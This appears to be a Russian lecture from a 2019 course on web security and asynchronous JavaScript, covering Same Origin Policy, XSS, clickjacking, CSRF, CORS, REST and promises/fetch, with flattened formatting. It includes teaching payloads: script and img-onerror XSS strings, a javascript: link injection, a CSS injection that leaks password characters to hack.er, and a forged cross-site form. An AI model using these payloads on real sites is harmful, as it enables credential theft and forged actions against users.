Технопарк, весна, 2019 г.
Правило ограничения домена (Same Origin Policy — «Принцип одинакового источника» a.k.a. «Политика единого источника») — это важная концепция безопасности и работы web-приложений. Она призвана ограничивать возможности пользовательских сценариев из определённого источника по доступу к ресурсам и информации из других источников
Вводится понятие источника (адрес в интернете, откуда был загружен ресурс). Два URL считаются имеющим один источник («same origin»), если у них одинаковый протокол, домен и порт
У этих ресурсов одинаковые источники:
http://site.comhttp://site.com/http://site.com/my/page.htmlУ этих ресурсов разные источники:
http://site.comhttp://www.site.com (другой домен)http://site.org (другой домен)https://site.com (другой протокол)http://site.com:8080 (другой порт)Любой способ взаимодействия с ресурсами в web-приложениях можно отнести к одной из трёх категорий:
<script src="..."></script><link rel="stylesheet" href="..."><img>, media files with <video> and <audio><object>, <embed> and <applet>Cross-Site Scripting — атака, заключающаяся во внедрении на страницу вредоносного кода, который будет выполнен в контексте источника конкретного сайта с целью обхода политик единого источника, и взаимодействии этого кода с веб-сервером злоумышленника
С помощью XSS злоумышленник может украсть из браузера пользователя sensitive-данные (например, cookies с ID сессии пользователя, приватные данные пользователя или данные из форм), может выполнить от имени пользователя различные действия или, например, провести DOS-атаку
<?php$name = $_REQUEST ['name'];?><html><head><title>Портал Технопарка</title></head><body>Hello, <?php echo $name; ?>!</body></html>
const html = '<script>alert("XSS")</script>';const link ='https://park.mail.ru/?name=' + encodeURIComponent(html);console.log(link);// https://park.mail.ru/?name=%3Cscript%3Ealert(%22XSS%22)%3C%2Fscript%3E
const response = http.get('/message');const messageText = response.content;const chat = document.getElementById('chat');chat.innerHTML += messageText;
// так не сработаетchat.innerHTML += `</div><script>alert("XSS")</script>`;
// а вот так - получитсяchat.innerHTML += `</div><img src="/404.png" onerror="alert('XSS')">`;
// делаем сайт с oauth-авторизациейconst backRedirectUrl =new URLSearchParams(window.location.search).get('back');const link = document.createElement('a');link.textContent = 'Click Me!';link.href = backRedirectUrl;document.appendChild(link);
// находимся на// https://park.mail.ru/?back=javascript%3Aalert%28%27XSS%27%29%3Bconst backRedirectUrl = // "javascript:alert('XSS');"new URLSearchParams(window.location.search).get('back');const link = document.createElement('a');link.href = backRedirectUrl;// <a href="javascript:alert('XSS');">Click Me!<a>
const avatarUrl = http.get('/me').avatarUrl;const styleContent = ``#avatar {`` background: url(${avatarUrl});``}``;const style = document.createElement('style');style.textContent = styleContent;document.appendChild(style);
const avatarUrl = http.get('/me').avatarUrl;console.log(avatarUrl); -> `);}`[type=password][value^='a'] { background-image: url(https://hack.er/a); }[type=password][value^='b'] { background-image: url(https://hack.er/b); }[type=password][value^='c'] { background-image: url(https://hack.er/c); }[type=password][value^='d'] { background-image: url(https://hack.er/d); }[type=password][value^='e'] { background-image: url(https://hack.er/e); }`abc { background: url(`
#avatar {background: url();}[type=password][value^='a'] { background-image: url(https://hack.er/a); }[type=password][value^='b'] { background-image: url(https://hack.er/b); }[type=password][value^='c'] { background-image: url(https://hack.er/c); }[type=password][value^='d'] { background-image: url(https://hack.er/d); }[type=password][value^='e'] { background-image: url(https://hack.er/e); }div { background: url();}
#avatar {background: url();}[type=password][value^='a'] { background-image: url(https://hack.er/a); }[type=password][value^='b'] { background-image: url(https://hack.er/b); }[type=password][value^='c'] { background-image: url(https://hack.er/c); }[type=password][value^='d'] { background-image: url(https://hack.er/d); }[type=password][value^='e'] { background-image: url(https://hack.er/e); }div { background: url();}
<iframe>Элемент
<iframe>создаёт фрейм — область заданных размеров, которая находится внутри обычного документа, в которую можно загружать любые другие независимые документы
<iframe><iframe src="https://www.w3.org/" width="900" height="500">
Атака Clickjacking — механизм обмана пользователей, при котором злоумышленник может получить доступ к конфиденциальной информации или даже заставить пользователя выполнить определённые действия, заманив его на внешне безобидную страницу или внедрив вредоносный код на безопасную страницу
opacity: 0; и позиционируем под курсором пользователяИспользуем заголовок X-Frame-Options:
X-Frame-Options: DENY — запрещает открывать сайт внутри iframeX-Frame-Options: SAMEORIGIN — разрешает открывать сайт внутри iframe на страницах с тем же самым originX-Frame-Options: ALLOW-FROM https://example.com/ — разрешает открывать сайт внутри iframe на страницах с указанным originУ элемента iframe есть свойства, позволяющие получить доступ до содержимого страницы:
iframe.contentWindow — ссылка на window страницы,iframeiframe.contentWindow.document — ссылка на document страницы, загруженной в iframewindow.parent — внутри iframe ссылается на родительский документwindow.top — внутри iframe ссылается самый верхний родительский элемент (в случае iframe в iframe)iframe всегда накладываются ограничения, диктуемые iframe загружен ресурс с другим Origin, то эти две страницы не имеют доступа друг до друга через iframe.contentWindow и window.parentwindow.parent.location разрешена, а чтение — запрещеноiframe есть атрибут sandbox с возможными значениями: allow-same-origin, allow-top-navigation, allow-forms, allow-scriptsПрисваивая в document.domain одинаковые значения, можно разрешить страницам с разных поддоменов общение друг с другом через iframe напрямую
// на странице https://park.mail.ru/document.domain; // 'park.mail.ru'document.domain = 'mail.ru'; // successdocument.domain = 'e.mail.ru'; // errordocument.domain = 'google.com'; // error// на странице https://e.mail.ru/document.domain = 'mail.ru'; // success
otherWindow.postMessage(message, targetOrigin);// otherWindow - любой объект класса Window// - текущий window// - полученный через вызов window.open()// - полученный через iframe.contentWindow или window.parent// targetOrigin - origin ресурсов, которые получат сообщения// можно указать wildcard: '*'
window.addEventListeners('message', function (event) {console.log(event.data); // присланные данныеconsole.log(event.origin); // origin, из которого пришло сообщениеconsole.log(event.source); // ссылка на окно-отправитель сообщения});
<form action="https://e.mail.ru/api/v1/messages/send" method="POST"><input name="message" value="Evil message"><!-- ... --></form>
submit() у формыhttps://e.mail.ru/api/v1/messages/sendCookies позволяют проверить, кто отправил определённый запрос, но они ничего не говорят о данных этого запроса
Браузеры не понимают, как различить, было ли действие явно совершено пользователем (как, скажем, нажатие кнопки на форме или переход по ссылке) или пользователь неумышленно выполнил это действие (зайдя на "плохой" сайт)
X-CSRF-Token сервер передаёт на клиент token — случайную строку, и клиент сохраняет её у себя в какой-то переменной, но не в cookies
Cross-Origin Resource Sharing (CORS) standard — спецификация, позволяющая обойти ограничения, которые Same Origin Policy накладывает на кросс-доменные запросы
// Находимся на https://evil.com/const xhr = new XMLHttpRequest();xhr.open('GET', 'https://e.mail.ru/messages/inbox/', false);xhr.send();console.log(xhr.responseText)
Простыми считаются запросы, если они удовлетворяют следующим двум условиям:
AcceptAccept-LanguageContent-LanguageContent-Type
application/x-www-form-urlencodedmultipart/form-datatext/plainGET /data HTTP/1.1Host: e.mail.ruOrigin: http://frontend.tech-mail.ru
HTTP/1.1 200 OKContent-Type: text/html; charset=UTF-8Access-Control-Allow-Origin: http://frontend.tech-mail.ru// Access-Control-Allow-Origin: *
HTTP/1.1 200 OKContent-Type: text/html; charset=UTF-8Access-Control-Allow-Origin: http://frontend.tech-mail.ru...X-UID: 42X-Secret: 2c9de507f2c54aa1Access-Control-Expose-Headers: X-Uid, X-Authentication
const xhr = new XMLHttpRequest();xhr.withCredentials = true;xhr.open('GET', 'https://e.mail.ru/messages/inbox/', false);
HTTP/1.1 200 OKContent-Type: text/html; charset=UTF-8Access-Control-Allow-Origin: domain // '*' запрещеноAccess-Control-Allow-Credentials: true
Остальные запросы считаются
"непростыми"
, и при отправке таких запросов необходимо понять, согласен ли сервер на обработку таких запросов. Эти запросы
всегда отсылаются со специальным заголовком Origin
При отправке "непростого" запроса, браузер сделает на самом деле два HTTP-запроса.
Access-Control-Request-Method,
а если добавлены особые заголовки, то и их тоже — в Access-Control-Request-Headers.
OriginОтвет на предзапрос может содержать следующие заголовки
HTTP/1.1 200 OKContent-Type: text/plainAccess-Control-Allow-Methods: DELETE, PUT, HEAD, OPTIONS, GET, POSTAccess-Control-Allow-Headers: Content-Type, User-Agent ...... X-Requested-With, If-Modified-Since, Cache-ControlAccess-Control-Max-Age: 86400
API (application programming interface, интерфейс программирования приложений) — набор готовых классов, процедур, функций, структур и констант, предоставляемых приложением (библиотекой, сервисом) или операционной системой для использования во внешних программных продуктах. Используется программистами при написании всевозможных приложений
API определяет функциональность , которую предоставляет программа (модуль, библиотека), при этом API позволяет абстрагироваться от того, как именно эта функциональность реализована
Web API — используется в веб-разработке, как правило, определённый набор HTTP-запросов, а также определение структуры HTTP-ответов, для выражения которых используют XML или JSON форматы
Сема́нтика — раздел лингвистики, изучающий смысловое значение единиц языка
– Работодатель: Назовите вашу главную слабость
– Кандидат: Я даю
семантически
корректные, но практически неприменимые ответы на вопросы
– Работодатель: Могли бы вы привести пример?
– Кандидат: Да, мог бы
CRUD (create, read, update, delete) — акроним, обозначающий четыре базовые функции, используемые при работе с персистентными хранилищами данных, описывает семантику методов HTTP
REST (в применении к именованию ресурсов) — набор методик и практик, которые используются для именования ресурсов, с которыми работает система
Все типы ресурсов делятся на две категории:
Коллекция книг (books):
/books/books/2-266-11156-6/books/3-720-55486-7/books/1-054-55901-2Коллекция пользователей (users):
/users/users/id2/users/id432/users/id1211177181Получение всех книгGET /books HTTP/1.1Host: awesome.comПолучение конкретной книгиGET /books/3-720-55486-7 HTTP/1.1Host: awesome.comУдаление конкретной книгиDELETE /books/3-720-55486-7 HTTP/1.1Host: awesome.com
http.get('/user', function (err, user) {if (err) {console.error(err);return;}console.log('User is', user);});console.log('Waiting...');
http.post('/signup', user, function (err, resp1) {if (err) { return console.error(err); }http.get(`/users/${resp1.id}`, function (err, resp2) {if (err) { return console.error(err); }http.get(`/photos/${resp2.avatarId}`, function (err, avatar) {if (err) { return console.error(err); }// ... callback hell!});});});
http.post('/signup', user, onSignup);function onSignup (err, resp1) {if (err) { return console.error(err); }http.get(`/users/${resp1.id}`, onLoadUser);}function onLoadUser (err, resp2) {if (err) { return console.error(err); }http.get(`/photos/${resp2.avatarId}`, onLoadAvatar);}
try {// Выбрасываем исключение вручнуюthrow 'Ooops!';} catch (err) {alert(err); // Привет, я ошибка!}
try {http.get('/user', function (err) {if (err) {throw err;}console.log('User is', user);});} catch (err) {alert(err); // Не выполнится}
const callback = function (err) {if (err) {throw err;}console.log('User is', user);};try {http.get('/user', callback);} catch (err) {alert(err); // Не выполнится}
Термин promise был предложен в 1976 году Дэниэлом Фридманом и Дэвидом Вайзом, а Питер Хиббард назвал его eventual. Похожая концепция под названием future была предложена в 1977 году в статье Генри Бейкера и Карла Хьюитта
Promise (обещание) — представляет собой обертку для значения, неизвестного на момент создания обещания
Он позволяет обрабатывать результаты асинхронных операций так, как если бы они были синхронными: вместо конечного результата асинхронного метода возвращается обещание получить результат в некоторый момент в будущем
Promises (промисы) — это специальные объекты, которые могут находиться в одном из трёх состояний:
- вначале pending («ожидание»)
- затем либо fulfilled («выполнено успешно»)
- либо rejected («выполнено с ошибкой»)
const promise = new Promise(function(resolve, reject) {// Здесь можно выполнять любые действия// вызов resolve(result) переведёт промис в состояние fulfilled// вызов reject(error) переведёт промис в состояние rejected});// Можно создать сразу "готовый" промисconst fulfilled = Promise.resolve(result);// const fulfilled = new Promise((resolve, _) => resolve(result));const rejected = Promise.reject(error);// const rejected = new Promise((_, reject) => reject(error));
Основной способ взаимодействия с промисом это регистрация функций обратного вызова для получения конечного результата промиса или сообщения о причине, по которой он не был выполнен. Иными словами, на промисы можно навесить два коллбека:
onFulfilled — срабатывают, когда promise находится в состоянии «выполнен успешно»onRejected — срабатывают, когда promise находится в состоянии «выполнен с ошибкой»const promise = new Promise( ... );// Можно навесить их одновременноpromise.then(onFulfilled, onRejected);// Можно по отдельности// Только обработчик onFulfilledpromise.then(onFulfilled);// Только обработчик onRejectedpromise.then(null, onRejected);promise.catch(onRejected); // Или так
const promise = new Promise(function(resolve, reject) {// do smthresolve('success'); // or// reject(new Error('failure'));});promise.then(res => console.log(res)).catch(err => console.error(err));
// 'cb1 success', 'cb2 success'const promise = Promise.resolve('success');promise.then(res => { console.log('cb1', res); }); // 1promise.then(res => { console.log('cb2', res); }); // 2
// 'value 1', 'value 2', 'value 3'const promise = Promise.resolve('value 1');const p2 = promise.then(res => { console.log(res); return 'value 2'; }) // 1.then(res => { console.log(res); return 'value 3'; }) // 2.then(res => { console.log(res); }); // 3p2 === promise // false
// 'value 1', 'Error!', 'Error catched!'const promise = Promise.resolve('value 1');promise.then(res => { console.log(res); throw 'Error!'; }) // 1.then(res => { console.log('foo'); }).then(res => { console.log('bar'); }).then(res => { console.log('baz'); }).catch(err => { console.error(err); return 'Error catched!'; }) // 2.then(res => { console.log(res); }); // 3
// 'foo', 'baz', 'bar', 'foobar'const promise1 = Promise.resolve('foo').then(res => { console.log(res); return 'bar'; }); // fooconst promise2 = Promise.resolve('baz').then(res => { console.log(res); return promise1; }) // baz.then(res => { console.log(res); return 'foobar'; }) // bar.then(res => { console.log(res); }); // foobar
Оборачивание асинхронного функционала в функцию, возвращающую промис
function PromiseGet(url) {return new Promise(function (resolve, reject) {http.Get(url, function (err, response) {if (err) { reject(err) }resolve(response);});});}
http.post('/signup', user, function (err, resp1) {if (err) { return console.error(err); }http.get(`/users/${resp1.id}`, function (err, resp2) {if (err) { return console.error(err); }http.get(`/photos/${resp2.avatarId}`, function (err, avatar) {if (err) { return console.error(err); }// ... callback hell!});});});
PromisePost('/signup', user).then(resp1 => PromiseGet(`/users/${resp1.id}`)).then(resp2 => PromiseGet(`/photos/${resp2.avatarId}`)).then(avatar => { ... }).catch(err => console.error(err));
Promise.all// Делаем что-нибудь асинхронное и важное параллельноPromise.all([PromiseGet('/user/1'),PromiseGet('/user/2'),]).then(function(users) {// Результатом станет массив из значений всех промисовusers.forEach(function(user, i) {console.log(`User #${i}: ${value}`);});});
Promise.race// Делаем что-нибудь асинхронное и важное наперегонки!Promise.race([promiseSomething(),promiseSomethingElse()]).then(function(result) {// Результатом станет значение самого "быстрого" промисаconsole.log(`Result: ${value}`);});
Метод fetch — это XMLHttpRequest нового поколения. Он предоставляет улучшенный интерфейс для осуществления запросов к серверу: как по части возможностей и контроля над происходящим, так и по синтаксису, так как построен на промисах
// Синтаксис метода fetch:const fetchPromise = fetch(url[, options]);
method — метод запросаheaders — заголовки запроса (объект)body — тело запроса: FormData, Blob, строка и т.п.mode — одно из: «same-origin», «no-cors», «cors», указывает, в каком режиме кросс-доменности предполагается делать запросcredentials — одно из: «omit», «same-origin», «include», указывает, пересылать ли куки и заголовки авторизации вместе с запросомcache — одно из «default», «no-store», «reload», «no-cache», «force-cache», «only-if-cached», указывает, как кешировать запросfetch('/books', {method: 'POST',mode: 'cors',credentials: 'include',data: JSON.stringify({title: 'Изучение Фронтенда',authors: ['Анатолий Остапенко', 'Дмитрий Дорофеев','Сергей Володин', 'Алексей Тюльдюков']})});
fetch('/books', {method: 'POST',mode: 'cors',credentials: 'include',data: JSON.stringify({title: 'Изучение Фронтенда',authors: ['Анатолий Остапенко', 'Дмитрий Дорофеев','Сергей Володин', 'Алексей Тюльдюков']})});